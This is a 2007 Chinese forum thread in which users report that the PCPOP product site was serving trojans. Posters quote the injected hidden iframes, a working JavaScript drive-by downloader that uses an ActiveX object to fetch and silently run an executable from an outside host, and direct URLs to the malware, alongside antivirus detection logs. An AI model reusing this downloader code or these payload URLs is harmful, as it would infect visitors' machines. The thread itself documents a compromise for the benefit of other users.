上泡泡网nod32报木马

显示全部楼层 · 发表于 2007-10-14 17:00:11

http://product.pcpop.com/default.aspx?Dummy_ID=1&IngressID=Mobile&BrandSN=00160&RefUrl=http%3A%2F%2Fmobile.pcpop.com%2F&BackUrl=http://product.pcpop.com/Mobile/00160_1.html

显示全部楼层 · 发表于 2007-10-14 17:06:38

[exe]http://www.smsunionmm.com/102/xl/smss1.exe
[exe]http://www.smsunionmm.com/102/1.exe

这年头哪里不挂看个手机都要……

显示全部楼层 · 发表于 2007-10-14 17:11:36

相当老的东西了
Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\smss1.exe'
C:\TDDOWNLOAD\
  smss1.exe
   [DETECTION] Is the Trojan horse TR/Dldr.Zhidao
   [WARNING] The file was ignored!
Begin scan in 'C:\TDDOWNLOAD\1.exe'
C:\TDDOWNLOAD\
  1.exe
   [DETECTION] Is the Trojan horse TR/Dldr.Zhidao
   [WARNING] The file was ignored!

显示全部楼层 · 发表于 2007-10-14 17:13:10

慢慢抓，我睡觉去了

<html><TITLE>index</TITLE><BODY>
<iframe src=http://www.smsunionmm.com/102/111/001.htm width=50 height=0></iframe>
<iframe src=http://www.smsunionmm.com/102/222/002.htm width=0 height=0></iframe>
<iframe src=http://www.smsunionmm.com/102/333/003.htm width=0 height=0></iframe>
<iframe src=http://www.smsunionmm.com/102/xl/ok.asp width=0 height=0></iframe>
</body></html>
<script src='http://s109.cnzz.com/stat.php?id=418413&web_id=418413' language='JavaScript' charset='gb2312'></script>

<html><head>
<script language =javascript>
function gn(n)
{var number = Math.random()*n;return '~tmp'+Math.round(number)+'.exe';}
try{
dl='http://www.smsunionmm.com/102/1.exe';
var df=document.createElement("object");
df.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var x=df.CreateObject("Microsoft.X"+"M"+"L"+"H"+"T"+"T"+"P","");
var S=df.CreateObject("Adodb.Stream","");
S.type=1; x.open("GET", dl,0); x.send(); fname1=gn(10000);
var F=df.CreateObject("Scripting.FileSystemObject","");
var tmp=F.GetSpecialFolder(0);
fname1= F.BuildPath(tmp,fname1);
S.Open(); S.Write(x.responseBody); S.SaveToFile(fname1,2); S.Close();
var Q=df.CreateObject("Shell.Application","");
Q.ShellExecute(fname1,"","","open",0); }
catch(i)
{i=1;}
</script></head></html>

[ 本帖最后由 mofunzone 于 2007-10-14 01:17 编辑 ]

显示全部楼层 · 发表于 2007-10-14 17:28:04

又被挂马了。。。。

显示全部楼层 · 发表于 2007-10-14 18:19:40

泡泡也不行啦？唉～～～
我老去泡泡看GPS

显示全部楼层 · 发表于 2007-10-14 18:21:37

file:///C:/DOCUME%7E1/xuhl/LOCALS%7E1/Temp/moz-screenshot.jpg

显示全部楼层 · 发表于 2007-10-14 18:49:01

Malicious code found in file C:\Users\Administrator\AppData\Roaming\Opera\Opera 9.5 alpha\profile\cache4\opr001CA.
Infection: Trojan-Downloader.Win32.Agent.buv
Action: The file was deleted.

Malicious code found in file C:\Users\Administrator\AppData\Roaming\Opera\Opera 9.5 alpha\profile\cache4\opr001CB.
Infection: Trojan-Downloader.Win32.Agent.buv
Action: The file was deleted.

显示全部楼层 · 发表于 2007-10-14 19:22:01

可怜的泡泡

显示全部楼层 · 发表于 2007-10-14 19:25:43

原帖由 jimmyleo 于 2007-10-14 17:06 发表
[exe]http://www.smsunionmm.com/102/xl/smss1.exe
[exe]http://www.smsunionmm.com/102/1.exe

这年头哪里不挂看个手机都要……

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Worm.Win32.Delf.dy

MAC地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：19.44.62

[已鉴定] 上泡泡网nod32报木马

回复 2楼 jimmyleo 的帖子

果然